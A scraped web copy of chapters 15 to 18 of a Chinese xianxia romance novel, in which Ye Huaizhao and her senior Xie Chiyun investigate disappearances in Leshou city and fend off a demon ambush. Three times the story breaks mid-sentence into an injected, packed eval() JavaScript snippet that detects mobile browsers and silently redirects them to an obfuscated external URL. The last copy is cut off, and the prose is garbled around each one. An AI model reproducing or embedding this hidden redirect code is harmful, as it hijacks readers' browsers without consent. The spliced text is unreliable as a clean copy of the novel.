桑春:“骂就骂吧,反正等我们半个月后再回去,听云堂早就换下一位仙师授课了。” 叶怀昭不置可否,只是将目光转向仙舟下绵延起伏的山峦城镇,问道:“你确定我师兄如今就在乐寿城?” 桑春:“至少在戒律堂的记录中,此时他应该在乐寿城。” 她微微转过目光看向趴在栏杆上的叶怀昭,意味深长说:“若是在乐寿城没能见到他,我们也不算亏。” 言下之意就是,如果谢迟云此时没在乐寿城,那就是在做他自己的事情——这样的事情,才能真实反映出他本人的欲求。 叶怀昭想要探寻谢迟云的过去,但无论是叶珩还是时闻筝,她的长辈们似乎都不太愿意告诉她曾经的事情,只道一声“不必在意”,便将她打发出去。 叶怀昭不可能就此善罢甘休,之前不在意也就罢了,在她有所行动后,没人能阻止她做出的决定。 于是在昨夜,她再次找上了自己最好的朋友——长风门戒律堂堂主亲传弟子——桑春。 面容冷淡素白的少女披着外袍倚在门边,细长眉梢微挑说:既然你想探寻谢迟云,那不妨亲自去试探他。 她伸出一根手指,隔空点了一下叶怀昭的心口,微眯着眼眸微笑说:像他这样戴着面具、将自己藏于黑暗的人,在某些时候,反而更容易露出马脚。 叶怀昭觉得她说得很有道理。 按照回想起来的记忆来看,谢迟云与她小时候的关系的确不好。可现在谢迟云对待她的态度似乎又并非厌恶勉强,除了她刚刚苏醒时候的不闻不问,此时的谢迟云甚至称得上是有求必应。 是什么事情,让他决定改变这种态度的呢? 叶怀昭非常好奇。 15. 第十五章 乐寿城与长风门相隔不远,叶怀昭与桑春是半夜乘坐仙舟下山的,仅仅花了三个时辰便到了目的地。 她们在乐寿城附近的山林落地,叶怀昭收起仙舟,打量了一会儿周围环境。 此时天边甚至刚刚升起微光,眼前的视野被朦胧昏暗的雾气笼罩,远处是一条通向城门的夯土官道,有不少挑着货担的商贩排着队等待进城。 叶怀昭和桑春排到最后,有一搭每一搭地听桑春说明乐寿城的异动。 “从两个月前开始,乐寿城便隔三差五地就有人失踪,而这些人被找到的时候皆是死状残忍诡异,不像是寻常人家所为,”桑春说,“乐寿城人心惶惶,于是城主便写了信笺送到长风门,想要我们派人来解决,找到做出此事的凶手。” 叶怀昭:“除了我师兄外,还有谁接下了这个任务?” “只有你师兄。”桑春回忆着自己之前翻阅过的案卷,又补充道,“谢迟云似乎不喜和人同行,由他接手的任务多半都只有他一个人完成。” 她勾过叶怀昭的脖子,小声嘀咕说:“所以我说他神神秘秘的,除了他自己外没人知道他在山下都做了什么——鬼知道他去年一整年都没回长风门是为了什么。” 叶怀昭深表赞同。 桑春话音一转,又说:“也不知道他为什么会接下乐寿城的这个任务,明明这个任务的报酬也不高,当初挂了两个月都没有弟子去接,偏偏只有他不走寻常路。” 叶怀昭也有几分好奇。 她知道现在戒律堂最主要的任务就是寻找丢失的封灵镜,按理来说谢迟云的注意力也应该放在这上面,可他却一个人跑到了乐寿城。 难道是谢迟云认为封灵镜的线索在乐寿城? 两人随意闲聊了一会儿,但是方才还走得迅速的队伍忽然不动了,甚至城门口的位置也有些嘈杂声。 似乎是一个推着独轮车的商贩和守城的侍卫发生了争执。 叶怀昭让桑春等在原地,她自己去了城门,恰好听到侍卫冷声道: “都说了最近城内戒严,不允许售卖魔族的玩意,你这老头听不懂人话吗?” 他手中的青铜罗盘散发着猩红色的光,指针朝向商贩独轮车木架上悬挂的一串银色铃铛。 满脸皱纹的商贩无措的看着他,语无伦次解释:“大人,我、您能不能通融一下,这白骨铃并非是什么杀人的东西,我——” “不行就是不行,”侍卫不耐烦说,“你要么把这白骨铃扔了,要么就趁白天赶紧打道回府。” 排在商贩之后的人也连声催促道:“前面的在干啥怎么还没好?还让不让人进城了?” 叶怀昭瞥了一眼商贩木架上的白骨铃,大概知道了他犹豫的原因。 若是旁的东西扔了也就扔了,但这白骨铃却是由极凶悍的妖兽白骨炼化而成,只是一枚便价格昂贵,更何况他木架上悬挂的一串铃铛。 在侍卫的耐心告罄,正要将堵在城门口的商贩驱逐出去时,叶怀昭忽然出声道:“白骨铃多少钱,我买了。” 争执的两方人同时一怔。 商贩回头,看到一个眉骨灵秀、气质不凡的少女站在雾霭中。 他呆了一瞬,直到叶怀昭又耐着性子重复了一遍才如梦初醒一般结结巴巴说:“六、六十灵石。” 叶怀昭干脆利落地摸出六十颗灵石递过去。 侍卫不动声色地打量着出声的少女。 乐寿城位于南境边缘,与魔界临近,经常有进入魔界的修士来此落脚,侍卫还算是见多识广。 以他的眼力,这个瞧上去仙姿玉貌的少女估计也是个修士,看她出手阔绰的样子,或许还是大门派出身。 侍卫收敛了自己的神色,斟酌着语气说:“这位仙君,方才那番话并非是针对他的。按照城主前些日子的命令,这段时间中除了办案需要,任何带有魔气的东西都不许进入城内。” 言下之意就是,若是叶怀昭买下了那串白骨铃,按照规定她也不能入城。 叶怀昭接过白骨铃:“我知道。” 她的语气非常理所当然,听得侍卫心中咯噔一声:完了,该不会是遇上硬茬了吧,她难不成要硬闯? 偏偏此时叶怀昭还问:“你们城主是听谁的建议放出这道命令的?” 侍卫不自觉地摸上自己腰间的佩剑,绷紧了神经说:“是长风门的乘玉仙君——此时仙君就在城内。” 他在“城内”两字加重了语气,就是在指望对方知难而退,却见叶怀昭反而笑了一声。 在守城侍卫严阵以待、紧张得冒汗的神色中,她摸出来一张刻有宗徽的令牌。 “里面那位乘玉仙君是我师兄,”叶怀昭眨了眨眼,“你知道他此时在哪吗?” 侍卫:“……” 他满头大汗、身体僵硬地将罗盘递给旁边的侍卫,结结巴巴说:“我带您过去。” 半刻钟后,叶怀昭和桑春不费吹灰之力地来到城主府。 听说是两位来自长风门的仙君后,城主府的管家立刻便恭恭敬敬地将他们迎进厅堂,一面替他们沏茶,一面让侍女去书房叫谢迟云。 在等谢迟云出来的时候,桑春随手拨了拨六十灵石买到的白骨铃:“你买这个东西有什么用?” 叶怀昭:“‘查案’用啊。” 桑春幽幽盯着她。 叶怀昭顿了一下,说了实话:“能帮就帮嘛,反正我又不差钱。” 桑春刚想夸她一句“心地善良”,听到后半句之后直接翻了个白眼,将白骨铃扔回她的怀里:“那你还是闭嘴吧,我聋了。” 叶怀昭心想,你看,我说实话你又不爱听。 “谁聋了?”谢迟云走进厅堂时恰好听到这句话,下意识问道。 叶怀昭反应迅速,抬手指了一下桑春:“她。” 谢迟云沉默半晌,缓缓说:“桑师妹,万不可讳病就医。” 桑春:“……” 她扫了一眼假装喝茶实际是用茶盏挡住脸偷偷憋笑的叶怀昭,又看向满脸真切担忧的谢迟云,最终冷笑一声:“多谢两位的提醒,等我回去,一定让颂慈仙尊好、好、检、查。” 最后四个字被她说得尤为咬牙切齿。 叶怀昭听出她话语间的威胁,干咳一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575518|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声后,正经问道:“师兄,那副汤药你喝了后效果如何?” 前几日从戒律堂出来后,叶怀昭为了给自己台阶下,特意给谢迟云熬制了稳固灵识的汤药,只是没等第二天这人就下山离开了长风门,她也没来得及询问。 乘玉仙君看上去依旧温润如玉,温和笑道:“师妹医术高明,那副汤药自然是有效的,这几日来我的灵识较之以往似乎更敏锐了一些。” 他说:“师妹,你是为此事专程来找我的吗?” 叶怀昭一个激灵,控制住自己的心情,果断说:“当然不是,我是为解决乐寿城百姓失踪事件而来的。” 平心而论确实是为谢迟云这个人来的,但叶怀昭一点也不想让他知道自己的原本意图。 怎么能对着当事人说“没错,我就是为了你才千里迢迢从长风门跑来乐寿城”呢? 至少叶怀昭觉得很丢脸且羞耻。 叶怀昭转移话题问道:“师兄,乐寿城的事情你调查得怎样了?你觉得凶手是魔族?” 谢迟云深深看了她几瞬,旋即微妙地转开视线:“凶手可能是魔族。” 叶怀昭:“可能?” “这两个月中共有十二人失踪,其中十一人已经被寻到,只剩一位还不知所踪,”谢迟云说道,“在这最后一人的家中,有魔族留下的打斗痕迹。” 他停顿一瞬,接着道:“也有人说在乐寿城附近看到了头戴鬼首面具的魔族身影。” 乐寿城位于南境的边界,与魔界临近,有魔族活动并不稀奇,甚至有很多修士会特意来乐寿城与这里的魔族商贩进行交易。 但这些魔族中绝对不包括那些头戴鬼首面具的魔族。 ——这是魔君麾下魔将的标志。 据她所知,那几位魔将一向敌视修真界,让他们踏进南境来到乐寿城绝对没什么好事。 叶怀昭拧眉:“之前的事还没让他们长教训?这就敢再来挑衅了?” 谢迟云轻描淡写说:“被庄仙首杀死在修真界的是魔界五殿下,又不是连其他几位殿下也一起死了。” 叶怀昭:好有道理。 谢迟云似乎不太想多说魔界的事情,很快便换了一个话题:“我正要去那失踪之人的家中,师妹要一起吗?” 叶怀昭点了下头,然后想起来什么似的转头去看桑春:“你要和我们一起去吗?” 桑春老神在在地端着茶盏。 她轻飘飘说:“不去,我要休息。” 桑春来乐寿城前为了调查一件事情几乎是半个月没歇脚,叶怀昭将她拉来乐寿城也是存了带她出来玩的心思,听到这句话后也没做多想。 没有过多停留,谢迟云已经率先走了出去,叶怀昭匆匆追上他的脚步,回头说:“那等我回来给你带好吃的,我听说乐寿城的一家茶楼的饭菜非常好吃。” 直到叶怀昭和谢迟云走出厅堂,桑春才缓慢地眨了下眼睛。 她将手中已经凉透的茶水一口喝掉,望着叶怀昭离开的方向沉思。 怎么感觉……有点怪怪的。 ——真的该让叶怀昭亲自去试探谢迟云吗? 16. 第十六章 他们要去的地方和城主府相距不远,走过两条街再转一个弯,便到了一座飞檐青瓦、端方有序的府邸前。 一个穿着朴素青衫的中年男人在正门前来回踱步,神态焦虑,时不时抬起头看看天色,瞧见从拐角处走来的谢迟云时眼睛一亮,忙不迭地迎了过来。 “谢仙君,您可算是来了!”他擦了擦自己额角上的汗,满脸如释重负,“小人方才急得得差点就要找去城主府了!” 谢迟云:“你家老爷还是没回来?” 中年男人擦汗的右手一顿,眼中闪过不自然,但很快便被笑意挤了出去:“老爷年纪大了,受不了舟车劳顿,估计还要再过几日才能回乐寿城——大公子已经等在二公子的院中了,您有什么事情大公子都会告诉您。” 谢迟云:“将事情全权交付给大公子,这是你家老爷的意思?” 中年男人额角的汗止不住地流,他不敢与谢迟云对视,只能点头哈腰说:“正是。” 谢迟云微微挑起一边的眉毛,脸上看不出什么表情。 他意味不明地笑了一声,而后向他轻轻颔首,语气平静:“既然如此,那便带路吧。” 叶怀昭在迈进大门前微微抬眼,目光在牌匾上的“徐府”二字上停留一瞬。 徐府……没记错的话,桑春之前所说盘踞乐寿城的本地豪族,其中之一似乎就是徐家。 谢迟云发现了她的动作,稍稍和前面的管家拉开距离,侧首压低声音说:“失踪之人是徐家的二公子,徐规。” 叶怀昭比谢迟云矮了整整一个头,后者因为低头说话的缘故,从侧面看去几乎是将旁边纤瘦高挑的少女半拥在怀中。 偏偏这对师兄妹没有一人觉得这个姿势有什么不对。 管家本来想再问谢迟云一些别的事情,头还没转过余光便扫见了身后两人的姿势,顿时又默默将视线转了回来,咽下了所有话。 叶怀昭没发觉管家的心思。 她只是觉得师兄说话时的呼吸总是似有似无地扫过她的耳廓,有些酥酥麻麻的。于是不自在地微微偏头,洁白圆润的耳垂上坠着的银镶松石耳坠轻晃。 谢迟云的目光追着摇晃的耳坠,说话的声音不知为何放得更轻缓了。 “……从赵家回来后,徐规便将所有仆役赶出院子,没有让任何人侍候。直到第二日天亮了徐府才发现人不见了。” 叶怀昭思索着:“徐规是不是不怎么受他父亲喜欢?” 儿子都失踪不见了,当爹的竟然还没回来。 谢迟云没说话。 叶怀昭接着思考:“现在徐府的当家人是大公子……徐规和他哥哥的关系是不是也不太好?我记得他和徐大公子并非一母所出。” 谢迟云依旧没说话。 叶怀昭从自己的思绪中抽离出来,有点茫然地歪头看向旁边的谢迟云,四目相对的瞬间,她从谢迟云浅色的眼瞳中看到了自己的缩影。 呼吸交错着缠绕,泼墨似的一缕发丝落在眼前,随着呼气而缓慢地拂过她的面颊,带来微妙的痒意。 叶怀昭不自觉屏住呼吸。 她终于意识到了不对。 ……这个距离,是不是有点太近了? 少女如梦初醒一样想要后退,却见咫尺距离的男人抬起一根手指,轻轻碰了一下她的耳垂,触感微凉,一触即分。 她捂着耳朵噔噔噔后撤,睁圆眼睛瞪向他:“你干什么?” 面前的男人轻轻眨了一下眼睛,而后收回手,长而卷翘的睫毛在眼尾收拢成无辜的笑意。 “师妹,你耳垂后有一颗痣呢。”他说。 叶怀昭:“……” 叶怀昭:“这是什么值得关注的事情吗!” 她转身气呼呼地跑了。 被她丢在原地的男人瞥了一眼少女发丝掩映间泛红的耳朵,唇角勾了勾,慢悠悠地跟上了她的脚步。 - 事实正如叶怀昭猜测的那样。 被管家引着来到徐府二公子的院落后,谢迟云被迫听了整整一刻钟的徐大公子对徐二公子的指责抱怨。 “……我早就说了,徐规的脾气又犟又硬一点也不懂得变通,这样下去迟早要出事,这不,就得罪了人被魔族盯上了!” 徐大公子一边说着,一边狠狠剜了一眼院中跪了整整一地、瑟瑟发抖的仆役:“一群吃里扒外的东西,他让你们出去就出去,怎么不记得我说让你们给我盯着他,不许他去赵家找那个女人?这个家你们到底是听他的还是听我的?” 叶怀昭对他的抱怨左耳进右耳出,将注意力大半放在了魔族留下的痕迹上。 徐规是个有点修为但不多的凡人,以他的水平,所谓的打斗痕迹其实就是他单方面的被打记录,院中残留着浓郁到逼人的魔气,只有一点稀薄的灵力夹在其中,可怜兮兮地负隅顽抗。 此外,院中的青石砖上还有大片大片的血迹,按照这个出血量来看,如果血迹全部属于徐规一人,那他估计也凶多吉少了。 在叶怀昭认真观察院中残留痕迹的同时,谢迟云也在耐着脾气听徐大公子喋喋不休的抱怨。 直到对方骂累了,挥挥手让人给自己倒水的间隙,谢迟云才慢慢道:“徐公子心中已有了怀疑对象?” 徐大公子喝水的动作微顿。 ——他怎么知道的? 他收敛了情绪正要开口解释,听到谢迟云下一句话后脸色倏地变了。 “徐公子觉得是赵家那位三小姐雇凶杀人?”谢迟云微笑着说。 他的话语是疑问,但语气中已经有了洞察一切的确定。 徐大公子:“……” 谢迟云是前日清晨来到乐寿城的。 在城中所有人看来,这位长风门的乘玉仙君在这两天中不是参加这家的接风宴,便是走马观花一样在城中各处闲逛,不仅没有去抓可疑的魔族,就连失踪之事都很少去调查。 这幅看上去无所事事、消磨时间的样子,直接让徐大公子以为谢迟云那所谓乘玉仙君的美名有一半都是世人吹出来的。 ……而如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575519|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今,在乘玉仙君没有什么笑意的眼眸中,徐大公子想要时间倒流将一日前不屑一顾的自己狠狠抽一巴掌。 他的喉结滚动,艰难地挤出声音:“你,你怎么知道的?” 谢迟云反问道:“徐公子不想说吗?” 徐大公子:“……” 他的面皮抽动,脸色肉眼可见地阴沉下来。 他深深望了谢迟云几瞬,忽然毫无征兆地将院中摆放的盆栽一脚踢开,砸在院墙上时发出一道巨大的声响。 “都滚出去。”他对院中的所有仆役冷冷道。 仆役们争先恐后地滚了出去,院落中霎时间变得空荡荡的。徐大公子收敛了脸上冰冷凶恶的表情,重新看向谢迟云时眼中做作的怒火尽数散去。 “仙君现在知道多少了?” “不太多,”谢迟云说道,在看到徐大公子松了一口气后又慢慢补充了下半句话,“只是听说徐家二公子与赵家早有婚约的三小姐有所暧昧,而他与三小姐的那位郎君同为城主之位竞争者罢了。” 徐大公子:“……” 你这不就是什么都知道了吗?! 叶怀昭走过来时正好看见徐大公子脸上欲言又止的憋屈神色,心想师兄在某些时候还是蛮坏心眼的。 经了这遭,徐大公子终于彻底放下了身段,抹了把脸后老老实实说道:“仙君猜测的没错,我的确怀疑我弟弟是被赵家那个女人买凶杀人的。” “赵家那个贱人,明明已经和别人有了婚约,还偏偏来招惹我弟弟!真是无耻下流!”徐大公子不喜自己同父异母的弟弟,但他更厌恶那个把自己的弟弟骗得团团转的赵家女人,“她到底给我弟弟灌了什么迷魂汤值得我弟弟为她寻死觅活的?!” 他停顿了一瞬,又咬牙切齿道:“说不定之前那几个人也是被这个恶毒的女人指使杀掉的。” 盘踞乐寿城的豪族不仅仅有徐家,还有赵、庾两家。 叶怀昭方才仔细看了谢迟云整理出来的受害之人的名单,发现那十二人之中,有将近半数的人出身这三家,且身份都不低。 徐大公子:“她和姓张的那小子沆瀣一气,她提供钱财和人,张秉提供机会,将所有与他竞争城主之位的人全部杀掉!” 叶怀昭慢悠悠地转了过来:“徐公子,这件事上获利的可不止有赵家呀,庾家的那位大公子可同样对城主之位虎视眈眈。” 她瞥了他一眼,意有所指:“您可不能因为自己弟弟不争气,于是迁怒到赵小姐身上啊。” 叶怀昭的目光轻飘飘的,像是羽毛般轻轻掠过,前一刻还骂得正欢的徐公子却有一种如坠寒冰的错觉,生生打了个寒颤。 他讷讷着,只能眼睁睁看着那个一身鲜妍红裙的少女转过身,向旁边的男人招了招手:“走吧,师兄。” 谢迟云:“之后去赵家?” 叶怀昭:“不要。” 她眨了一下眼睛,似有似无地扫过浑身僵硬的徐大公子,笑眯眯说:“先去看看徐公子口中,没有任何嫌疑的庾家吧。” 17. 第十七章 庾家公子和徐家公子年纪相仿,皆是一副金尊玉贵的模样,只是瞧上去眉眼更和缓,性情更温和一些。 当然,也更难对付。 “徐兄失踪的前日我还同他约定过几日请他来府中小酌一番,”庾公子半是惆怅半是遗憾地叹息一声,“真是世事难料啊。” 叶怀昭:“他也不一定是死了,先不用这么难过。” 庾公子梗了一下,但脸上很快重新挂上笑意,热切地看向旁边的谢迟云:“这位便是长风门的乘玉仙君吧?久仰仙君大名,今日一见,果然神姿高彻,威仪秀异。” “过奖。”谢迟云淡淡应了一声,似有所指道,“庾公子这院落中可真是处处玄机啊。” 谢迟云是个剑修,但不代表他看不懂符文阵法。以他的眼力所见,这庾公子的院落中的各处草木石水布景,皆以某种八卦阵图排列,暗合天地之势。 乐寿城鱼龙混杂,各家各户都设有御敌的机关,而这其中,唯有庾家的符文阵法最为精妙严密。 庾公子笑了一声:“不过是机缘巧合下得了位散修指导,竟能入了乘玉仙君的眼,也算是有幸了。” 叶怀昭心想,这可不一定是散修,真以为他们没发觉庾府中潜藏的那些护院修士吗? 虽然暂时没去赵家,但叶怀昭已经可以肯定,如果徐、庾、赵三家撕破脸皮打了起来,最后获胜的一定是和修真界有着暧昧关系的庾家。 如此这般试探了几句后,叶怀昭终于问出了关键问题:“庾公子觉得是谁绑架带走了徐二公子?” 庾公子面色不变,只是温和笑笑,不轻不重说:“仙君这句话可真是难倒我了。庾某愚笨,并不知是谁对徐兄有此毒心。” “好吧,那我换一个问题。”叶怀昭笑盈盈问,“庾公子觉得谁能接替乐寿城城主之位?” 庾公子叹息一声:“这种事情自然是由城主决定。” 叶怀昭:“若是徐二公子死了,庾公子认为赵家那位公子可以胜过你吗?” “……” 她这个问题有点微妙的带刺,像是在预设徐规是被庾公子设局杀死的一样。 庾慎微微一顿,看向叶怀昭的眼神有了变化。 但他到底和脾气暴躁的徐大公子不同,只在刹那的停顿后便毫无滞涩地温声道:“仙君,我的确想要城主之位。但是和至交好友的性命比起来,就算得到城主之位又如何呢?我不会用这种无耻手段去对付其他人的。” 叶怀昭盯着他,似是想要找到他脸上的破绽,而庾慎毫不畏惧地与她对视。 半晌后,少女忽地弯了弯眼眸,语气轻快:“抱歉啦庾公子,是我唐突了。” 她向一直没有说话的谢迟云眨了一下眼睛:“看来庾公子也不知道这次失踪案的真凶是谁,那我们就只能再去其他地方找找了。” 她说着,倒是真的干脆利落地将院落中的各种检测类的法器收了起来。 庾慎脸上的笑容带了几分真情实意:“仙君也是破案心切,庾某理解。” 他一路将叶怀昭和谢迟云送出了家门,三人之间的气氛非常轻松祥和,庾慎甚至还给叶怀昭推荐了几家味道不错的酒楼。 叶怀昭一一记下,而后率先迈出大门门槛,谢迟云紧随其后。 庾慎一直紧绷的神经终于微微放松,紧紧掐住手心的手指松开。 然而就在三人即将分别时,谢迟云忽地语气轻缓问:“庾公子,你知道徐规和赵三小姐有私情吗?” 相较于叶怀昭的咄咄逼人,谢迟云面对庾家公子的态度堪称温和,很多时候只是当一个合格的背景板站在自己师妹的背后,从未提出什么尖锐的问题。 庾慎早已对乘玉仙君有了温文尔雅先入为主的定位,经过方才那一遭对此更是深信不疑。 他的所有注意力都集中在叶怀昭身上,生怕对方再挖什么坑让他掉进去。 谢迟云专挑在他放松警惕的时候抛出这个问题,没有丝毫预兆,冷不丁听到他说话时只做出了下意识的反应。 男人的眉角似是猛地抽动一瞬,弧度柔和的眼眸飞速地闪烁一下,肩膀戒备性地绷紧。 他像是骤然被发现了什么秘密,条件反射地展露出本能的攻击性。尽管转瞬即逝,可依旧被目光紧紧锁在男人身上的叶怀昭捕捉到了。 少女猫一样地微微翘起唇角,露出一个狡黠的笑。 庾慎看到她这幅表情就知道自己上当了。 借着宽大衣袖的遮挡,男人狠狠掐住了自己的掌心。 “……庾某倒是第一次听说这事。”他的喉结滚动,最后硬挤出一个微笑,“是不是有什么误会,徐兄怎可明知赵三小姐有婚约在身,还去招惹她呢?” 叶怀昭:“嗯,没听说过没关系,师兄也只是想让你知道一下,并无他意。” 庾慎:“……” 他的脸皮抽动,神色变化精妙绝伦,咬着牙强挤出笑:“多谢仙君好意。” 叶怀昭“嗯嗯”点头,直到庾府彻底消失在身后,两人躲进无人的小巷中少女才停下脚步,好奇地看向旁边的男人:“师兄,你怎么想起来要问那个问题的?” 谢迟云笑道:“不是师妹想让我问的吗?” 我的确想让你问这个问题啦,我好奇的是你怎么知道的。 叶怀昭在心中嘀咕,莫不是她和谢迟云中蛊后就连默契都能提高了?竟然也能心有灵犀? 她忽然想起要是以后她有什么话想要避着其他人单独和谢迟云说,这个双生蛊倒是还挺有用的。 没人能知道她和师兄在心中说什么。 叶怀昭走神一瞬,很快便甩甩头认真分析道:“看来庾慎不仅知道徐规和赵三小姐的事情,说不定还帮他们隐瞒过事实。” 谢迟云停住了脚步。 叶怀昭:“?” 她不明所以地也停住脚步。 两人在长街后的小巷中就这么莫名其妙地对视着,日光划过高墙的侧壁,留下一高一矮的两道相对的阴影。 过了几瞬,叶怀昭才听到谢迟云问道:“师妹觉得庾公子在帮徐规和赵三小姐打掩护?” 叶怀昭:“不是吗?” 虽然暂且不知是不是庾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想起之前师尊说她和谢迟云第一次从丹河秘境出来后的事情,叶怀昭接着说道:“如果我赢了,那师兄要承包我在乐寿城的一切花销。如果我输了,那就是我承包师兄的。” 谢迟云哑然,隔了一会后才提醒道:“上次的赌局,师妹可是输得一塌糊涂。” “上一次是上一次,哪有赌徒次次输!”叶怀昭信心满满地说完这句话,又反应过来不对,“什么上一次赌局,我和师兄赌什么了?” 谢迟云:“嗯,师妹饿不饿,想先去酒楼还是先去赵府?” 叶怀昭气得直跺脚:“你又转移话题!” 她正要跳下高台和谢迟云争论一番,身后忽地升起一股前所未有的危机感! 叶怀昭的瞳孔骤然紧缩,条件反射地想要抬手运势。但与她相对而站、看向她身后的男人比她更快。 电光石火间,叶怀昭只觉得身体一歪、手腕一紧,便被人扣着腰拽进一个冰冷的怀抱,嘴唇擦过男人的脖颈,再狠狠撞在他的胸膛上。 身后是术法相击后爆发的强烈气流,掀起的余波将半面高墙都轰塌破碎,尘土在四周飞扬而起。 在浓郁的檀木清香中,叶怀昭缓慢地睁圆眼眸,怔怔地望向半面高墙上亲密无间的两道阴影。 她的呼吸微窒。 18. 第十八章 城主府中,倚在窗边软榻上和一个小姑娘随口闲聊的少女眼神忽地一顿。 扎着双髻的女孩茫然地抬头:“怎么了,仙女姐姐?” 桑春看向窗外。 她的眼底映照着远方熊熊燃气的烈火黑烟,慢慢皱起眉头。 ——为什么会有这么浓郁的魔气? 叶怀昭也想知道为什么在明知有三个仙门弟子的情况下,还会有魔族来乐寿城袭击他们。 但她现在最想知道的事情,还是谢迟云怎么还不松手。 男人宽大的手掌隔着衣物按在她的后腰,叶怀昭能清晰地感受到对方五指掌心的轮廓。 随着身后响起的巨大爆炸声,叶怀昭觉得他按在自己后腰处的手掌越发收紧,像是要这么硬生生地将人严丝合缝地、揉进自己的胸膛骨肉中。 少女的大脑混沌,鼻尖被撞得钝痛,在这逼人的檀木香中感到一阵阵晕眩,几乎有种要被无声淹没的错觉。 身后冲天的黑烟,日光穿过断壁残垣落下的点点光隙……周围的一切都在这熟悉又陌生的檀木香中被剥离,黑暗慢慢笼罩她的视野,像是有一只手掌轻柔地挡住她的眼眸。 叶怀昭听到了一道轻而和缓的、陌生的、像是自遥远云端传来的声音。 “闭眼。” ……为什么要闭眼? 恍惚之间,少女下意识地抬起头,在漆黑的视野中,看到一双清透如水的浅色眼瞳。 谢迟云同她安静对视着,眼中流淌着叶怀昭看不懂的情绪。 她骤然回神。 几瞬过后,叶怀昭猛地推开正要抬手的谢迟云,几步退到墙边。 “你、你你你——”绯红一路从脖颈蔓延至脸颊,她磕磕绊绊的,面对着谢迟云沉静的眼神,大脑一懵,好半晌才从喉咙中挤出来一句话,“你方才,抱的太紧了。” 不对,我不是要说这句话的! 叶怀昭在心中小猫尖叫,上蹿下跳的却只能将身上的丝线越缠越紧,就像她现在彻底瘫痪的语言组织能力一样。 谢迟云抬手用术法将想要逃跑的魔族困在原地,微微侧首看向警惕万分满面羞耻无措的少女。 听到这道指控后,他声音饱含歉意说:“师妹,我下次会注意的。” “没有下次!”叶怀昭猛地站起身,自认为气势汹汹地走过来,脸上带着慌乱与恼意并存的表情,“乘玉仙君难道就没听说过男女授受不亲吗?” “方才有魔族想要偷袭师妹,”谢迟云看着她一步一步接近,解释道,“是我心急了,抱歉。” 他的语气诚恳,眼中写满深切的歉意。 叶怀昭看得一顿,随后猛地移开视线。 “……我爹都没这么抱过我。”她小声嘟囔着,“抱就抱吧,让我闭眼又是做什么。” 这样说着,她的脑中却不自觉地闪过方才被谢迟云强行按在怀里时,右手不小心按住的胸膛。 说起来,乘玉仙君平日里不显山不露水的,竟然也是那种肩宽腰窄肌肉堪比体修的人,一只手就能抓住她的两个手腕。 就是温度太低了,胸膛又冷又硬,摸上去和坚硬的冰块一样,抱着一点也不舒服。他是不是气血不足,有点肾阳虚啊?如果…… 医修的本能让叶怀昭下意识思索了一阵,而后忽然回神。 等一下,我刚刚到底在想什么。 她啪地一声捂住自己的面颊,脸上的热气止不住地蒸腾,面红耳赤地在心中暗骂: 那可是乘玉仙君、你爹大徒弟、你的亲师兄! 就在她心虚反思间,谢迟云忽地冷不丁地叫了她一声:“师妹。” 叶怀昭浑身一僵,条件反射地说:“我错了师兄,我没有冒犯你的意思!” 谢迟云没有说话。 叶怀昭只好睁一只眼闭一只眼地悄悄去看他的神色,发现男人方才翘起的唇角微微抿直。 不像是生气,但似乎也不太高兴。 谢迟云没有理会她的那声道歉,只是平静说道:“我方才没有让你闭眼,师妹。” 叶怀昭微微一怔。 反应过来后她尴尬地绞着手指,支吾一会后说:“呃,可能、可能是我幻听了吧。” 比如之前在枯荣山时,叶怀昭就看见过一个容貌模糊的幻影。根据她的后续猜测,这可能是她记忆中的某个人。 听到她解释的男人沉默半晌,而后淡淡道:“我知道了。” 他虽然牵了牵唇角,露出一个浅淡的微笑,但叶怀昭还是觉得他这幅表情看得人毛毛的,况且此时她暂时不想和自己师兄的这张脸对视。 她心虚地转头就向魔族的位置瞬影过去,假装认真地观察。 叶怀昭走得急,甚至根本不敢回头去看谢迟云的表情。 是以,她也没有看到谢迟云伸出手,一点一点细致地将少女揉乱的衣襟整理好,手指划过温润的玉佩。 而后,他微微掀起眼睑,似是幽深潭水的浅色眼瞳看向断墙后相隔甚远的一棵枯败老树。 ——一只乌鸦毫无征兆地爆体而亡。 - 虽然一开始是为了平复心情而假装,但当叶怀昭看到魔族的那刻,还是被吸引了注意力。 他的四肢皆被无形的剑影钉在原地,银色灵力穿透身躯,未被衣物覆盖的皮肤表层透出隐隐鼓胀的幽蓝色,似是水流般缓慢流动。 虽然这幅样子瞧上去很是残忍,但叶怀昭也不是没见过。 她随手将破碎一半的鬼首面具捡起来,指尖划过边缘的黑色印记,若有所思地看向满脸狰狞痛苦的魔族。 “你是山槐的手下?” 山槐,魔君扶青的第六子,魔界六殿下,自出生起便备受宠爱,被魔界视为最有可能继承魔君之位的魔。 她手下的魔族多半佩戴黑色伯奇纹样的面具,很好辨认。 叶怀昭微微弯腰,歪头问道:“喂,是山槐让你们来杀我的?” 魔族愤恨地盯着她,未发一言。 